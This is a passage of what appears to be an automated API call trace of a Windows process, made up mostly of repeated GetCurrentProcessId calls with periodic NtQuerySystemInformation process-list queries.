() returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.164] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.165] GetCurrentProcessId () returned 0xbf4 [0243.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12231970, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12231970, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.951] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.952] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.953] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0243.954] GetCurrentProcessId () returned 0xbf4 [0244.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.706] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.707] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.708] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0244.709] GetCurrentProcessId () returned 0xbf4 [0245.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.378] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.379] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.380] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.381] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0245.382] GetCurrentProcessId () returned 0xbf4 [0246.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0246.045] GetCurrentProcessId () returned 0xbf4 [0246.045] GetCurrentProcessId () returned 0xbf4 [0246.045] GetCurrentProcessId () returned 0xbf4 [0246.045] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.046] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.047] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.048] GetCurrentProcessId () returned 0xbf4 [0246.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.937] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () 